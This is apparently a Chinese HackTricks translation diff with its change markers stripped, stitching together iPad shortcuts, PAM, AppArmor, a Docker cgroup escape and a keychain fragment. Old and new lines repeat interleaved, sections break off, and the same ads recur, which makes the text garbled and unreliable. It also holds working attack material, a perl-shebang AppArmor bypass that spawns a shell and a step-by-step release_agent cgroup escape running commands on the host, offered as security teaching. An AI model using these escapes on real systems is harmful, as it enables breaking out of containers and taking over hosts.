这些快捷键用于视觉设置和声音设置具体取决于iPad的使用。
| 快捷键 | 动作 |
| -------- | ------------------------------------------------------------------------------ |
| F1 | 调暗屏幕 |
| F2 | 调亮屏幕 |
| F1 | 降低屏幕亮度 |
| F2 | 增加屏幕亮度 |
| F7 | 后退一首歌 |
| F8 | 播放/暂停 |
| F9 | 跳过歌曲 |
| F10 | 静音 |
| F11 | 降低音量 |
| F12 | 增加音量 |
| ⌘ Space | 显示可用语言列表;要选择一种语言,请再次点击空格键。 |
| ⌘ 空格 | 显示可用语言列表;要选择一个,再次点击空格键。 |
### iPad导航
### iPad 导航
| 快捷键 | 动作 |
| -------------------------------------------------- | ------------------------------------------------------- |
| ⌘H | 转到主屏幕 |
| ⌘⇧H (Command-Shift-H) | 转到主屏幕 |
| ⌘H | 前往主屏幕 |
| ⌘⇧H (Command-Shift-H) | 前往主屏幕 |
| ⌘ (Space) | 打开Spotlight |
| ⌘⇥ (Command-Tab) | 列出最近使用的十个应用程序 |
| ⌘\~ | 转到上一个应用程序 |
| ⌘⇧3 (Command-Shift-3) | 截图(悬停在左下角以保存或对其进行操作) |
| ⌘⇧4 | 截图并在编辑器中打开 |
| 按住⌘ | 显示应用程序可用的快捷键列表 |
| ⌘⌥D (Command-Option/Alt-D) | 弹出Dock |
| ^⌥H (Control-Option-H) | 主屏幕按钮 |
| ⌘⇧4 | 截图并在编辑器中打开 |
| 按住⌘ | 应用程序可用的快捷键列表 |
| ⌘⌥D (Command-Option/Alt-D) | 弹出底栏 |
| ^⌥H (Control-Option-H) | 主按钮 |
| ^⌥H H (Control-Option-H-H) | 显示多任务栏 |
| ^⌥I (Control-Option-i) | 项目选择器 |
| Escape | 返回按钮 |
| 退出 | 返回按钮 |
| → (右箭头) | 下一个项目 |
| ← (左箭头) | 上一个项目 |
| ↑↓ (上箭头下箭头) | 同时点击选项目 |
| ↑↓ (上箭头, 下箭头) | 同时点击选定的项目 |
| ⌥ ↓ (Option-下箭头) | 向下滚动 |
| ⌥↑ (Option-上箭头) | 向上滚动 |
| ⌥← or ⌥→ (Option-左箭头或Option-右箭头) | 向左或向右滚动 |
| ⌥← ⌥→ (Option-左箭头或Option-右箭头) | 向左或向右滚动 |
| ^⌥S (Control-Option-S) | 打开或关闭VoiceOver语音 |
| ⌘⇧⇥ (Command-Shift-Tab) | 切换到上一个应用程序 |
| ⌘⇥ (Command-Tab) | 切换回原始应用程序 |
| ←+→, 然后Option + ← 或 Option+→ | 通过Dock导航 |
| ←+→, 然后Option + ← 或 Option+→ | 通过底栏导航 |
### Safari快捷键
| 快捷键 | 动作 |
| ----------------------- | ------------------------------------------------ |
| ⌘L (Command-L) | 打开位置 |
| ⌘T | 打开新标签页 |
| ⌘W | 关闭当前标签页 |
| ⌘R | 刷新当前标签页 |
| ⌘. | 停止加载当前标签页 |
| ^⇥ | 切换到下一个标签页 |
| ^⇧⇥ (Control-Shift-Tab) | 移动到上一个标签页 |
| ⌘L | 选择文本输入/URL字段以修改它 |
| ⌘⇧T (Command-Shift-T) | 打开最后关闭的标签页(可以多次使用) |
| ⌘\[ | 在浏览历史记录中返回一页
| ⌘T | 打开新标签 |
| ⌘W | 关闭当前标签 |
| ⌘R | 刷新当前标签 |
| ⌘. | 停止加载当前标签 |
| ^⇥ | 切换到下一个标签 |
| ^⇧⇥ (Control-Shift-Tab) | 移动到上一个标签 |
| ⌘L | 选择文本输入/URL字段以修改 |
| ⌘⇧T (Command-Shift-T) | 打开最后关闭的标签(可多次使用) |
| ⌘\[ | 在浏览历史记录中返回一页 |
| ⌘] | 在浏览历史记录中前进一页 |
| ⌘⇧R | 激活阅读器模式 |
### 邮件快捷键
| 快捷键 | 动作 |
| -------------------------- | ---------------------------- |
| ⌘L | 打开位置 |
| ⌘T | 打开新标签 |
| ⌘W | 关闭当前标签 |
| ⌘R | 刷新当前标签 |
| ⌘. | 停止加载当前标签 |
| ⌘⌥F (Command-Option/Alt-F) | 在邮箱中搜索 |
# 参考资料
* [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
* [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
* [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
* [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF版HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -2,20 +2,33 @@
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式
支持HackTricks的其他方式:
- 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由信息窃取恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 基本信息
**PAM可插拔认证模块**充当安全机制,**验证试图访问计算机服务的用户的身份**,根据各种标准控制其访问。它类似于数字门卫,确保只有经过授权的用户可以与特定服务互动,同时可能限制其使用以防止系统超载。
**PAM可插拔认证模块**充当一个安全机制,**验证试图访问计算机服务的用户的身份**,根据各种标准控制他们的访问。它类似于数字看门人,确保只有授权用户可以与特定服务互动,同时可能限制其使用以防止系统超载。
### 配置文件
@ -39,23 +52,51 @@ session required /lib/security/pam_unix_session.so
这些领域或管理组包括**auth**、**account**、**password**和**session**,每个负责认证和会话管理过程的不同方面:
- **Auth**:验证用户身份,通常通过提示输入密码来实现
- **Account**:处理账户验证,检查诸如组成员资格或时间限制等条件
- **Auth**:验证用户身份,通常通过提示输入密码。
- **Account**:处理账户验证,检查条件如组成员资格或时间限制
- **Password**:管理密码更新,包括复杂性检查或防止字典攻击。
- **Session**:管理服务会话开始或结束期间的操作,如挂载目录或设置资源限制。
- **Session**:管理服务会话开始或结束期间的操作,如挂载目录或设置资源限制。
### **PAM模块控制**
控制指导模块对成功或失败的响应,影响整体认证过程。这些包括:
- **Required**:必需模块失败会导致最终失败,但只在检查所有后续模块后才会发生。
- **Requisite**:失败会立即终止程。
- **Required**:必需模块失败会导致最终失败,但只在检查所有后续模块后才会发生。
- **Requisite**:失败会立即终止程。
- **Sufficient**:成功会绕过同一领域的其余检查,除非后续模块失败。
- **Optional**:仅在堆栈中是唯一模块时才会导致失败。
### 示例场景
在具有多个auth模块的设置中程遵循严格顺序。如果`pam_securetty`模块发现登录终端未经授权则会阻止root登录但由于其“required”状态所有模块仍会被处理。`pam_env`设置环境变量,可能有助于用户体验。`pam_ldap`和`pam_unix`模块共同工作以对用户进行身份验证,其中`pam_unix`尝试使用先前提供的密码,增强了认证方法的效率和灵活性。
在具有多个auth模块的设置中程遵循严格顺序。如果`pam_securetty`模块发现登录终端未经授权则会阻止root登录但由于其“required”状态所有模块仍会被处理。`pam_env`设置环境变量,可能有助于用户体验。`pam_ldap`和`pam_unix`模块一起工作来认证用户,其中`pam_unix`尝试使用先前提供的密码,增强了认证方法的效率和灵活性。
## 参考资料
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io)是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**损害**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以在以下网站检查并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -4,24 +4,38 @@
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
支持HackTricks的其他方式:
其他支持HackTricks的方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
## 基本信息
AppArmor是一种**内核增强功能,旨在通过每个程序的配置文件限制程序可用资源**有效地实现强制访问控制MAC将访问控制属性直接绑定到程序而不是用户。该系统通过**将配置文件加载到内核**来运行,通常在启动时进行,这些配置文件规定了程序可以访问的资源,如网络连接、原始套接字访问和文件权限。
AppArmor是一个**内核增强程序,旨在通过每个程序的配置文件限制程序可用资源**有效地实现强制访问控制MAC将访问控制属性直接绑定到程序而不是用户。该系统通过**将配置文件加载到内核**来运行,通常在启动时进行,这些配置文件规定了程序可以访问的资源,如网络连接、原始套接字访问和文件权限。
AppArmor配置文件有两种操作模式
- **强制模式**该模式积极执行配置文件中定义的策略阻止违反这些策略的操作并通过诸如syslog或auditd等系统记录任何试图违反这些策略的行为。
- **投诉模式**:与强制模式不同,投诉模式不会阻止违反配置文件策略的操作。相反,它会将这些尝试记录为策略违规,而不强制执行限制。
- **强制模式**该模式积极执行配置文件中定义的策略阻止违反这些策略的操作并通过诸如syslog或auditd等系统记录任何试图违反这些策略的尝试
- **投诉模式**:与强制模式不同,投诉模式不会阻止违反配置文件策略的操作。相反,它将这些尝试记录为策略违规,而不强制执行限制。
### AppArmor组件
@ -33,9 +47,9 @@ AppArmor配置文件有两种操作模式
### 配置文件路径
AppArmor配置文件通常保存在_**/etc/apparmor.d/**_中\
使用`sudo aa-status`命令,您将能够列出受某配置文件限制的二进制文件。如果您可以将每个列出的二进制文件的路径中的斜杠“/”更改为一个点您将获得所提到文件夹中AppArmor配置文件的名称。
使用`sudo aa-status`命令,您将能够列出受某配置文件限制的二进制文件。如果您可以将每个列出的二进制文件的路径中的斜杠“/”更改为一个点您将获得所提到文件夹中AppArmor配置文件的名称。
例如_usr/bin/man_的**apparmor**配置文件将位于_/etc/apparmor.d/usr.bin.man_中
例如_usr/bin/man_的**apparmor**配置文件将位于_/etc/apparmor.d/usr.bin.man_中
### 命令
```bash
@ -59,14 +73,14 @@ aa-mergeprof #used to merge the policies
* **ix**(使用新程序继承策略执行另一个程序)
* **Px**(在清理环境后在另一个配置文件下执行)
* **Cx**(在清理环境后在子配置文件下执行)
* **Ux**(在清理环境后执行无限制)
* **Ux**(在清理环境后执行无限制操作
* **变量**可以在配置文件中定义,并且可以从配置文件外部进行操作。例如:@{PROC} 和 @{HOME}(在配置文件中添加 #include \<tunables/global>
* **拒绝规则支持覆盖允许规则**
### aa-genprof
要轻松开始创建一个配置文件,可以使用 apparmor。可以让**apparmor检查二进制文件执行的操作,然后让您决定要允许还是拒绝哪些操作**。\
只需运行:
为了轻松开始创建一个配置文件apparmor 可以帮助您。可以让**apparmor 检查二进制文件执行的操作,然后让您决定要允许还是拒绝哪些操作**。\
只需运行:
```bash
sudo aa-genprof /path/to/binary
```
@ -74,10 +88,10 @@ sudo aa-genprof /path/to/binary
```bash
/path/to/binary -a dosomething
```
然后,在第一个控制台中按下“**s**”,然后在记录的操作中指示您想要忽略、允许或其他操作。完成后按“**f**”,新配置文件将被创建在 _/etc/apparmor.d/path.to.binary_
然后,在第一个控制台中按下 "**s**",然后在记录的操作中指示您想要忽略、允许或其他操作。完成后按下 "**f**",新配置文件将被创建在 _/etc/apparmor.d/path.to.binary_
{% hint style="info" %}
使用箭头键可以选择您想要允许/拒绝/其他的内容
使用箭头键,您可以选择要允许/拒绝/其他的内容
{% endhint %}
### aa-easyprof
@ -108,7 +122,7 @@ sudo aa-easyprof /path/to/binary
}
```
{% hint style="info" %}
请注意,默认情况下,在创建的配置文件中,什么都不允许,因此一切都被拒绝。您需要添加类似 `/etc/passwd r,` 这样的行来允许二进制文件读取 `/etc/passwd`
请注意,默认情况下,在创建的配置文件中,什么都不允许,因此一切都被拒绝。您需要添加类似 `/etc/passwd r,` 这样的行来允许例如二进制文件读取 `/etc/passwd`
{% endhint %}
然后,您可以使用以下命令**强制执行**新配置文件:
@ -117,7 +131,7 @@ sudo apparmor_parser -a /etc/apparmor.d/path.to.binary
```
### 从日志修改配置文件
以下工具将读取日志,并询问用户是否允许一些检测到的禁止操作:
以下工具将读取日志,并询问用户是否允许一些检测到的禁止操作:
```bash
sudo aa-logprof
```
@ -135,7 +149,7 @@ apparmor_parser -R /etc/apparmor.d/profile.name #Remove profile
```
## 日志
来自 _/var/log/audit/audit.log_**`service_bin`** 可执行文件的 **AUDIT****DENIED** 日志示例:
来自 _/var/log/audit/audit.log_**AUDIT****DENIED** 日志示例,针对可执行文件 **`service_bin`**
```bash
type=AVC msg=audit(1610061880.392:286): apparmor="AUDIT" operation="getattr" profile="/bin/rcat" name="/dev/pts/1" pid=954 comm="service_bin" requested_mask="r" fsuid=1000 ouid=1000
type=AVC msg=audit(1610061880.392:287): apparmor="DENIED" operation="open" profile="/bin/rcat" name="/etc/hosts" pid=954 comm="service_bin" requested_mask="r" denied_mask="r" fsuid=1000 ouid=0
@ -183,35 +197,35 @@ docker-default
- 允许访问所有**网络**
- 没有定义**任何权限**(但是,一些权限将来自于包含基本基础规则,即 #include \<abstractions/base>
- **不允许**写入任何 **/proc** 文件
- 其他 /**proc** 和 /**sys** 的**子目录**/**文件** **禁止**读取/写入/锁定/链接/执行访问
- 其他 /**proc** 和 /**sys** 的**子目录**/**文件** **拒绝**读取/写入/锁定/链接/执行访问
- **不允许**挂载
- **Ptrace** 只能在受 **相同 apparmor profile 限制**的进程上运行
- **Ptrace** 只能在由**相同的 apparmor profile** 限制的进程上运行
一旦您**运行一个 docker 容器**,您应该看到以下输出:
```bash
1 processes are in enforce mode.
docker-default (825)
```
请注意,**apparmor 甚至会默认阻止容器被授予的特权权限**。例如,即使授予了 SYS\_ADMIN 权限,它也可以**阻止写入 /proc 目录的权限**,因为默认情况下 docker apparmor 配置文件拒绝了这种访问:
请注意,**apparmor 默认会阻止容器被授予的 capabilities 权限**。例如,即使授予了 SYS_ADMIN capability它也可以**阻止在 /proc 目录内写入的权限**,因为默认情况下 docker apparmor profile 拒绝了这种访问:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined ubuntu /bin/bash
echo "" > /proc/stat
sh: 1: cannot create /proc/stat: Permission denied
```
你需要**禁用AppArmor**来绕过其限制:
您需要**禁用AppArmor**以绕过其限制:
```bash
docker run -it --cap-add SYS_ADMIN --security-opt seccomp=unconfined --security-opt apparmor=unconfined ubuntu /bin/bash
```
请注意,默认情况下**AppArmor**也会**禁止容器从内部挂载**文件夹即使具有SYS_ADMIN权限也是如此。
请注意您可以向docker容器**添加/除****权限**(这仍将受到诸如**AppArmor**和**Seccomp**之类的保护方法的限制):
请注意您可以向docker容器**添加/除****权限**(这仍将受到诸如**AppArmor**和**Seccomp**之类的保护方法的限制):
- `--cap-add=SYS_ADMIN` 给予`SYS_ADMIN`权限
- `--cap-add=ALL` 给予所有权限
- `--cap-drop=ALL --cap-add=SYS_PTRACE` 撤销所有权限,仅给予`SYS_PTRACE`权限
{% hint style="info" %}
通常,当您**发现**在**docker**容器**内部**有**特权权限**可用,但某些部分的**利用**无法正常工作时这是因为docker的**AppArmor将阻止它**
通常,当您**发现**在**docker**容器**内**有**特权权限**可用,但某些**利用**的部分**无法正常工作**时这是因为docker的**apparmor会阻止**它
{% endhint %}
### 示例
@ -238,7 +252,7 @@ chmod: /etc/hostname: Permission denied
```
### AppArmor Docker Bypass1
您可以使用以下命令找运行容器的**AppArmor配置文件**
您可以使用以下命令找运行容器的 **AppArmor配置文件**
```bash
docker inspect 9d622d73a614 | grep lowpriv
"AppArmorProfile": "lowpriv",
@ -254,7 +268,7 @@ find /etc/apparmor.d/ -name "*lowpriv*" -maxdepth 1 2>/dev/null
### AppArmor Shebang Bypass
在[**这个漏洞**](https://bugs.launchpad.net/apparmor/+bug/1911431)中你可以看到一个例子即使你正在阻止perl使用某些资源如果你只是创建一个shell脚本在第一行**指定**为**`#!/usr/bin/perl`**,然后**直接执行该文件**,你将能够执行任何你想要的东西。例如:
在[**这个漏洞**](https://bugs.launchpad.net/apparmor/+bug/1911431)中你可以看到一个例子即使你正在阻止perl使用某些资源运行如果你只是创建一个shell脚本在第一行**指定**`#!/usr/bin/perl`,然后**直接执行该文件**,你就可以执行任何你想要的东西。例如:
```perl
echo '#!/usr/bin/perl
use POSIX qw(strftime);
@ -264,16 +278,28 @@ exec "/bin/sh"' > /tmp/test.pl
chmod +x /tmp/test.pl
/tmp/test.pl
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**推动的搜索引擎,提供**免费**功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong></strong></summary>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现我们的独家[**NFTs**]收藏品,[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,4 +1,4 @@
# Docker release\_agent cgroups逃逸
# Docker release_agent cgroups escape
<details>
@ -8,12 +8,25 @@
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 探索[**PEASS Family**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
---
**有关更多详细信息,请参阅[原始博客文章](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)。** 这只是一个摘要:
@ -25,7 +38,7 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
这个概念验证PoC演示了通过创建一个`release_agent`文件并触发其调用来利用cgroups的方法在容器主机上执行任意命令。以下是涉及的步骤详细说明:
证明概念PoC演示了通过创建`release_agent`文件并触发其调用以在容器主机上执行任意命令的方法。以下是涉及的步骤详细说明:
1. **准备环境:**
- 创建一个目录`/tmp/cgrp`用作cgroup的挂载点。
@ -35,19 +48,19 @@ mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **设置子Cgroup:**
- 在挂载的cgroup目录中创建一个名为"x"的子cgroup。
- 通过向其notify_on_release文件写入1来启用"x" cgroup的通知。
- 通过向其notify_on_release文件写入1,为"x" cgroup启用通知。
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **配置释放代理:**
- 从 /etc/mtab 文件中获取容器在主机上的路径。
- 然后配置 cgroup 的 release_agent 文件以执行位于获取的主机路径上的名为 /cmd 的脚本。
- 然后配置 cgroup 的 release_agent 文件以执行位于获取的主机路径上的名为 /cmd 的脚本。
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **创建和配置/cmd脚本:**
- 在容器内创建/cmd脚本并配置执行ps aux命令将输出重定向到容器中名为/output的文件中。指定主机上/output的完整路径。
- 在容器内创建/cmd脚本并配置执行ps aux命令将输出重定向到容器中名为/output的文件中。指定主机上/output的完整路径。
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
@ -55,20 +68,32 @@ chmod a+x /cmd
```
5. **触发攻击:**
- 在"x"子cgroup中启动一个进程然后立即终止。
- 这将触发`release_agent`/cmd脚本该脚本在主机上执行ps aux命令并将输出写入容器的/output。
- 这将触发`release_agent`/cmd脚本该脚本在主机上执行ps aux命令并将输出写入容器的/output。
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
## WhiteIntel
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) 是一个由**暗网**支持的搜索引擎,提供免费功能,用于检查公司或其客户是否受到**窃取恶意软件**的**侵害**。
WhiteIntel的主要目标是打击由窃取信息恶意软件导致的账户劫持和勒索软件攻击。
您可以访问他们的网站并免费尝试他们的引擎:
{% embed url="https://whiteintel.io" %}
<details>
<summary><strong>从零开始学习AWS黑客技术成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS红队专家</strong></a><strong></strong></summary>
其他支持HackTricks的方式
支持HackTricks的其他方式:
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -1,4 +1,4 @@
# macOS钥匙串
# macOS密钥链
<details>
@ -14,20 +14,34 @@
</details>
## 主要钥匙串
## WhiteIntel
* **用户钥匙串**`~/Library/Keychains/login.keycahin-db`),用于存储**特定于用户的凭据**,如应用程序密码、互联网密码、用户生成的证书、网络密码和用户生成的公钥/私钥。
* **系统钥匙串**`/Library/Keychains/System.keychain`),存储**系统范围的凭据**如WiFi密码、系统根证书、系统私钥和系统应用程序密码。
<figure><img src=".gitbook/assets/image (1224).png" alt=""><figcaption></figcaption></figure>
